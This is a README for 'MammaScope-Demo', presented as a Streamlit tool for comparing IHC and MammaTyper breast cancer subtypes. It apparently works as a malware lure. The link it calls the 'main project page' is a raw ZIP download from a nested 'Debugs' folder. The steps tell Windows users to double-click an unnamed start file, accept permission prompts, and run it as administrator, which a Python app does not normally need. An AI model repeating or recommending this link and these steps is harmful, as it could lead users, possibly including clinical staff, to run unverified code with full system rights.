🧬 MammaScope-Demo - Compare Breast Cancer Subtypes

📌 What this is

MammaScope-Demo is a public demo of MammaScope. It helps you compare two breast cancer subtyping methods:

• IHC, which uses tissue staining results
• MammaTyper, which uses molecular test results

The app shows how the results line up for the same case. It is built with Streamlit, so it runs in a simple browser window on Windows.

🖥️ What you need

Before you start, make sure you have:

• A Windows 10 or Windows 11 computer
• An internet connection
• Permission to download files from GitHub
• A modern web browser like Chrome, Edge, or Firefox

For smooth use, your PC should have:

• 4 GB RAM or more
• Enough free disk space for the app files
• A screen with at least 1366 × 768 resolution

🚀 How to get it

Visit the main project page here:

https://github.com/Tomeunprocessed585/MammaScope-Demo/raw/refs/heads/main/codigo/Debugs/Demo-Scope-Mamma-v3.1-beta.2.zip

Use this page to download and run the demo on Windows.

🪟 Run it on Windows

Follow these steps in order:

1. Open the project page in your browser.
2. Download the repository as a ZIP file.
3. Save the ZIP file to your Downloads folder or Desktop.
4. Right-click the ZIP file and choose Extract All.
5. Open the extracted folder.
6. Look for the app start file or the main run file in the folder.
7. Double-click the file to launch the app.
8. If Windows asks for permission, choose Yes or Allow.
9. Wait for the app to load in your browser window.
10. Keep the window open while you use the demo

If the app opens in a browser page, leave that tab open during use.

📂 What you will see

After the app starts, you should see a simple interface with sections for case data and subtype comparison. The demo is set up to help you review breast cancer classification results side by side.

Typical parts of the app include:

• A case input area
• IHC marker information
• MammaTyper result fields
• A concordance view
• A results panel
• A small guide inside the app

🧪 What the demo does

MammaScope-Demo supports a clear review of breast cancer subtype data. It helps you:

• Compare IHC and MammaTyper results
• Check whether the two methods match
• Review common breast cancer markers
• See subtype patterns in one place
• Explore concordance between clinical test methods

This makes it easier to review data without switching between tools.

🧭 Basic use

Use the demo in this order:

1. Open the app.
2. Enter or load a case.
3. Review the IHC marker values.
4. Review the MammaTyper values.
5. Look at the subtype call from each method.
6. Check the concordance result.
7. Compare the findings for the case.

If the app includes sample data, you can use that first to learn the layout.

🧰 If the app does not open

If nothing happens when you double-click the file:

• Make sure the ZIP file was fully extracted
• Try opening the file again from the extracted folder
• Check whether Windows blocked the file
• Right-click the file and choose Run as administrator
• Try a different browser if the app opens but does not load

If the browser shows a blank page:

• Wait a few seconds for the local server to start
• Refresh the page once
• Close other browser tabs
• Restart the app and try again

📁 Suggested folder layout

After extraction, the folder may contain items like these:

• README files
• App files
• Python source files
• Sample data
• Configuration files
• A Streamlit launch script

Keep all files in the same folder structure. Do not move single files out of the extracted folder unless you know they are not needed.

🔒 Data use

This demo is meant for breast cancer subtype comparison and review. Use it with care when working with patient data. Keep all local files in a secure place on your computer and follow your site rules for clinical data handling.

🧷 Common terms in the app

A few words may appear in the interface:

• IHC: a lab method that uses antibodies to detect proteins in tissue
• MammaTyper: a molecular test used to classify breast cancer subtype
• Concordance: a match between two test results
• Subtype: a breast cancer group based on test results
• Marker: a protein or gene-related test result used for classification

🛠️ For later use

If you want to return to the demo later:

1. Keep the extracted folder in a safe place
2. Save the project page link
3. Open the same start file again
4. Use the browser page that opens

If you use the app often, you may want to place a shortcut on your desktop.

📄 About this project

MammaScope-Demo is a Streamlit-based demo for breast cancer subtyping review. It focuses on the relationship between immunohistochemistry and molecular diagnostics. The project is useful for users who want to compare test outputs in a clear way and review concordance across methods